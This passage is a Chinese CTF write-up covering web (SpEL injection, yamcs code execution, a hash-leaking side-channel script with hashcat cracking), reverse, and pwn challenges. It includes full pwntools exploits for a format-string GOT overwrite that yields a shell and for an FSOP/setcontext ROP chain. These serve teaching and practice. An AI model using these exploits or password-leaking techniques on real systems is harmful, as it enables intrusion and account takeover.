解题思路 Spel类中第一个Bean可以通过SystemProperties的system.getProperties函数来获取当前系统中的配置内容，第二个bean用于执行上面的Bean，在/check路由中通过传rule参数执行提交的systemProperties然后转移给service进行查询，用URL编码 `#{#systemProperties['os.name']} `传递过去发现可以正常执行   controller中需要注意的是File在通过获取user.home之后可以直接在/tmp中读取flag.txt（Dockerfile里面把flag.txt给COPY到/tmp/flag.txt）   通过构造Spel表达式执行`#{#systemProperties['user.home'] = '/tmp'}`即可直接读取到flag.txt里面的内容（不指定/tmp会默认访问/root导致无法读取flag）  #### flag flag{e116678c-bf91-4b4a-9d56-099bc6c5ca2d} ### yamcs #### 解题思路  这个功能点可以执行代码并输出，直接java命令执行改个类型输出到原来的out0 ```java try { Process p = Runtime.getRuntime().exec("cat /flag"); String output = new String(p.getInputStream().readAllBytes(), java.nio.charset.StandardCharsets.UTF_8); out0.setStringValue(output); } catch (Exception e) { out0.setStringValue("Error occurred"); } ```  #### flag flag{a6dbcab4-a3d3-4e00-b06b-aef778c54619) ### anime #### 解题思路 原题 of HCMUS CTF 2025 Quals - MAL https://psdat123.github.io/posts/HCMUS-CTF-2025/ 查看源码和wp，写个脚本爆一下 注：代码部分内容来自上述wp，如有雷同正常现象 ```python import base64 from binascii import unhexlify import string import requests from bs4 import BeautifulSoup username = "fadhilfaizullah" user_secret = "u2DAetreDVaTrL8leVf1" sess = requests.Session() url = "http://47.105.120.74:1001/" admin_username = "TTXSMcc" sess.cookies.update({"session":"eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJmYWRoaWxmYWl6dWxsYWgifX0=","session.sig":"v_MFDm1eMitgRSoZPC28Kghmqio"}) def changeField(field_name, guess_hash): resp = sess.post(url + f'/user/{username}/edit', data={field_name: guess_hash, 'secret': user_secret},allow_redirects=False) print(resp.status_code) res = sess.get(url + f'/users?sort={field_name}&limit=1000&skip=0') soup = BeautifulSoup(res.text, 'html.parser') users = soup.find_all('a', {'class': 'anime_title'}) for user in users: if admin_username in user: print("test ",guess_hash," found ",admin_username) return 1 if username.lower() in repr(user).lower(): print("test ",guess_hash," found ",username) return -1 # def leak_field(field_name, length, alphabet="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",known_prefix=""): def leak_field(field_name, length, alphabet="0123456789abcdef",known_prefix=""): field_value = known_prefix for position in range(length-len(known_prefix)): L = 0 R = len(alphabet) - 1 while L <= R: M = (L + R) // 2 guess_char = alphabet[M] current_guess = field_value + guess_char # 测试当前猜测 pos = changeField(field_name, current_guess + alphabet[0] * (length - len(current_guess) - 1)) if pos == 1: # 我们的用户名在当前猜测之前，说明猜测的字符太大 R = M - 1 else: # 我们的用户名在当前猜测之后，说明猜测的字符太小或正确 L = M + 1 # 找到正确字符 if L <= len(alphabet) - 1: print("L=",L," R=",R) if position != length-len(known_prefix)-1: num = L - 1 else: num = L if num < 0: num = 0 field_value += alphabet[num] else: # 如果没有找到合适的字符，可能需要处理边界情况 print("L=",L," R=",R) field_value += alphabet[-1] print(f"[*] Progress: {field_value} [{len(field_value)}/{length}]") return field_value print("[!] Leaking admin hash") admin_hash = leak_field('hash', 64, known_prefix="") print("[!] Leaking admin salt") admin_salt = leak_field('salt', 32, known_prefix="") hash_cat_string = f"sha256:25000:{base64.b64encode(admin_salt.encode()).decode()}:{base64.b64encode(unhexlify(admin_hash)).decode()}" print(f"[*] hashcat string: {hash_cat_string}") hash_file = "hash" with open(hash_file, 'w') as f: f.write(hash_cat_string) hashcat_command = f"hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d" print(f"[*] Run the following command to crack the password:\n{hashcat_command}") ``` 爆完hashcat即可 得到密码后登录保存一下cookie ``` session=eyJwYXNzcG9ydCI6eyJ1c2VyIjoiVFRYU01jYyJ9LCJmbGFzaCI6e319; session.sig=1WywbgpLq6qXl37ncMrK1MV70gQ ``` 由于管理员secret被缓存为random value，我们需要绕过缓存，而数据库是大小写不敏感，缓存敏感，我们可以构造不同大小写的管理员id，即可得到flag ``` http://47.105.120.74:1001/user/TTXSMCC/edit ```  #### flag flag{hhhu4ny1n6_q14n6w4n6_x14nf3n6} ## Reverse ### butterfly #### 解题思路 随意输入 `flag{11111111111111111111111111111}\n` 得到  猜测是 8 字节加密，找到关键逻辑  写反向算法 ```python with open('encode.dat.key', 'rb') as f: key = f.read() with open('encode.dat', 'rb') as f: encoded_data = list(f.read()) def solve(encoded_data: list, key: bytes) -> bytes: data = [] for x, y in zip(encoded_data, key): data.append((x - y) & 0xFF) bn = int.from_bytes(bytes(data), 'little') bn = ((bn >> 1) | (bn << 63)) & ((1 << 64) - 1) bt = bn.to_bytes(8, 'little') data = [0] * 8 for i in range(0, 8, 2): data[i], data[i + 1] = bt[i + 1], bt[i] for i, b in enumerate(key): data[i] ^= b return bytes(data) for i in range(0, len(encoded_data) // 8 * 8, 8): encoded_data[i:i + 8] = solve(encoded_data[i:i + 8], key[:8]) print(bytes(encoded_data)) ``` #### flag flag{butter_fly_mmx_encode_7778167} ## PWN ### flag-market #### 解题思路 Scanf 溢出  溢出可修改data段format字符串，导致格式化字符串漏洞，第一次泄露地址+修改exit got表为main函数，第二次修改atoi got表为system getshell  ```python #coding=utf-8 from pwn import* context.log_level='debug' context.arch='amd64' binary = "./pwn" elf = ELF(binary) libc=elf.libc ip = '47.93.216.175' port = 20539 local = 0 if local: io = process(binary) else: io = remote(ip, port) if args.G: gdb.attach(io) def ret2libc(): return (p64(next(libc.search(asm("ret;"),executable=True)))+p64(next(libc.search(asm('pop rdi; ret;'))))+p64(next(libc.search("/bin/sh")))+p64(libc.sym['system'])) def ret2libc_(): return (p64(next(libc.search(asm('pop rdi; ret;'))))+p64(next(libc.search("/bin/sh")))+p64(libc.sym['system'])) def dbg(c=''): if(c): gdb.attach(io, c) else: gdb.attach(io) s=lambda data :io.send(data) sa=lambda delim,data :io.sendafter(delim, data) sl=lambda data :io.sendline(data) sla=lambda delim,data :io.sendlineafter(delim, data) r=lambda numb=4096 :io.recv(numb) ru=lambda delims :io.recvuntil(delims) uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) uheap = lambda : u64(io.recv(6).ljust(8,b'\x00')) leak=lambda name,addr :log.success('{} ===> {:#x}'.format(name, addr)) ia = lambda : io.interactive() n32 = lambda num: p32(0x100000000+num) n64= lambda num: p64(0x10000000000000000+num) ##gdb.attach(io,'dir ~/glibc/malloc/') main=0x040139B def pwn(): #dbg("b *0x4014bc\nc") pl="a"*0x100 pl+="%"+str(0x139b)+"c"+"%12$hn"+"%45$p" ru(".exit") sl(b"1") ru("o pay?") sl(b"-1") ru("e report") sl(pl) ru("2.exit") sl(b"1") ru("o pay?") sl(p64(0x404090)) ru("0x") libc.address=int(r(12),16)-0x2a28b leak("libc",libc.address) pl1="a"*0x100 pl1+="%"+str(libc.sym['system']&0xffff)+"c"+"%12$hn" pl1+="%"+str((0x10000-(libc.sym['system']&0xffff))+((libc.sym['system']>>16)&0xffff))+"c"+"%13$hn" ru("2.exit") sl(b"2") ru(".exit") sl(b"1") ru("o pay?") sl(b"-1") ru("e report") sl(pl1) ru("2.exit") sl(b"1") ru("o pay?") s(p64(0x404080)+p64(0x404082)) ru("exit") sl("/bin/sh") pwn() ia() ``` #### flag flag{9dda09d1-5b1a-4551-b293-feb59b0373f6} ### bph #### 解题思路 一开始看到沙箱保护，禁用open的，没禁read、write，我是想着找一找flag文件描述符fd的，看看flag有无事先被打开，结果发现没有被打开，导致浪费了很多时间。 浪费太多时间在代码审计上以至于知道程序的用途却不知道漏洞。。。。。。。 #### 前置准备 正确的整体思路是**泄露 libc 基地址 → 控制****堆内存****伪造** **IO** **结构 → 利用 IO 流漏洞或 setcontext 劫持执行流 → 执行** **ROP** **链读取 flag** checksec查看保护信息：全开。  沙箱保护：  main函数： ```cpp __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char v4[40]; // [rsp+0h] [rbp-68h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-40h] v5 = __readfsqword(0x28u); sub_16C0(a1, a2, a3); sub_1540(); sub_1640(); while ( 2 ) { while ( 1 ) { puts(""); puts("1) Create note"); puts("2) Edit note"); puts("3) View note"); puts("4) Delete note"); puts("6) Exit"); __printf_chk(2LL, "Choice: "); if ( fgets(v4, 32, stdin) ) break; LABEL_9: puts("bad choice"); } switch ( (unsigned int)__isoc23_strtol(v4, 0LL, 10LL) ) { case 1u: sub_1810(); continue; case 2u: sub_1930(); continue; case 3u: __printf_chk(2LL, "Index: "); sub_1710(); continue; case 4u: sub_1A50(); continue; case 6u: puts("bye"); return 0LL; default: goto LABEL_9; } } } ``` 从 main 函数反编译代码可知，程序是一个典型的 "笔记管理系统"，提供以下功能： 1. 创建笔记（Create note） 2. 编辑笔记（Edit note） 3. 查看笔记（View note） 4. 删除笔记（Delete note） 5. 退出（Exit） 那我的初步思路可能就是从栈溢出、堆。 ##### 泄露libc基地址 通过输入函数触发内存泄露，获取 libc 中free 函数的指针，Scanf %s 泄露libc地址：  ```Python # 从泄露的数据中提取free函数指针（减去偏移126修正） free_function_pointer_address = u64(io.recv(6).ljust(8, b'\x00')) - 126 # 用free函数在libc中的偏移计算基地址 libc_base = free_function_pointer_address - libc.sym["free"] ``` ##### 伪造 IO 结构 add函数分析： Add 处可导致任意地址写一字节0 ，修改stdin结构体可以实现任意地址写，修改stdout结构体，puts触发io  起初想用ORW的，但看到seccomp的一些限制，无法直接获取 shell，因此我尝试采用伪造 IO 流结构体的方式控制程序流程。 利用堆操作将伪造的_IO_FILE结构体写入内存、劫持标准输出流（_IO_2_1_stdout_） 构造的伪造结构体包含setcontext相关 gadget ，然后跳转到 ROP 攻击链： ```python # 伪造文件结构体地址（基于stdout地址） fake_file_structure_address = libc.sym['_IO_2_1_stdout_'] + libc_base # 构造控制IO流的payload1 payload1 = ( p64(0x0) + b'\x00' * 0x10 + p64(libc.sym['setcontext'] + 61 + libc_base) + # 跳转 ... # 略 ) ``` ##### 构造ROP攻击链 通过伪造的 IO 结构体触发 ROP 链，完成文件操作。 **1、打开 Flag 文件**：使用`open`系统调用打开`/flag`（文件路径存储在 ROP 链末尾）。 **2、读取文件内容**：将 Flag 内容读取到*`IO_2_1_stdout`*` + 0x300`处（libc 中的可控内存）。 **3、拿到flag**：通过`write`系统调用将读取到的内容输出到标准输出。 ```python payload_ROP = ( # 打开/flag（只读模式） p64(pop_rdi) + p64(libc_base + 0x204698) + # 文件名地址 p64(pop_rsi) + p64(0) + # 只读模式 p64(libc_base + libc.sym['open']) + # 读取内容到内存 p64(pop_rdi) + p64(3) + # 文件描述符（假设为3） p64(pop_rsi) + p64(libc_base + 0x300 + libc.sym['_IO_2_1_stdout_']) + # 存储地址 p64(pop_rdx) + p64(0x30) + # 读取长度 p64(libc_base + libc.sym['read']) + # 输出Flag p64(pop_rdi) + p64(1) + # 标准输出 p64(pop_rsi) + p64(libc_base + 0x300 + libc.sym['_IO_2_1_stdout_']) + # 内容地址 p64(pop_rdx) + p64(0x30) + # 输出长度 p64(libc_base + libc.sym['write']) + b'/flag\x00' # 文件名 ) ``` ```python from pwn import * io = remote('39.106.46.67',26641) libc = ELF("./libc.so.6") context(os='linux', arch='amd64', log_level='debug') io.sendafter(b':', b'a' * (0x28 - 4) + b'stop') io.recvuntil(b'stop') free_function_pointer_address = u64(io.recv(6).ljust(8, b'\x00')) - 126 libc_base = free_function_pointer_address - libc.sym["free"] io.sendlineafter(b':', '1') io.sendlineafter(b':', str(libc_base + 0x203918 + 1)) io.sendafter(b':', b'a') io.send( b'a' * 0x18 + p64(libc_base + libc.sym['_IO_2_1_stdout_']) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x200) ) fake_file_structure_address = libc.sym['_IO_2_1_stdout_'] + libc_base pop_rdi_gadget_addr = libc_base + 0x000000000010f78b pop_rsi_gadget_addr = libc_base + 0x0000000000110a7d pop_rdx_gadget_addr = libc_base + 0x00000000000b503c sleep(5) payload1 = ( p64(0x0) + b'\x00' * 0x10 + p64(libc.sym['setcontext'] + 61 + libc_base) + p64(fake_file_structure_address) + b'\x00' * 0x40 + p64(fake_file_structure_address) + p64(0x0) + p64(fake_file_structure_address) + b'\x00' * 0x8 + p64(fake_file_structure_address + 0x8) + p64(0x400) + p64(0x23) + p64(fake_file_structure_address) + p64(libc.sym['setcontext'] + 294 + libc_base) + p64(libc.sym['read'] + libc_base) + b'\x00' * 0x20 + p64(libc.sym['_IO_wfile_jumps'] + 0x10 + libc_base) + p64(fake_file_structure_address) ) io.send(payload1) sleep(5) payload_ROP = ( p64(pop_rdi_gadget_addr) + p64(libc_base + 0x204698) + p64(pop_rsi_gadget_addr) + p64(0x0) + p64(libc_base + libc.sym['open']) + p64(pop_rdi_gadget_addr) + p64(0x3) + p64(pop_rsi_gadget_addr) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x300) + p64(pop_rdx_gadget_addr) + p64(0x30) * 5 + p64(libc_base + libc.sym['read']) + p64(pop_rdi_gadget_addr) + p64(0x1) + p64(pop_rsi_gadget_addr) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x300) + p64(pop_rdx_gadget_addr) + p64(0x30) * 5 + p64(libc_base + libc.sym['write']) + b'/flag\x00' ) io.sendline(payload_ROP) io.interactive() ``` #### flag flag{035cdda-a3dd-49ff-a91c-ee67f6daaaea}
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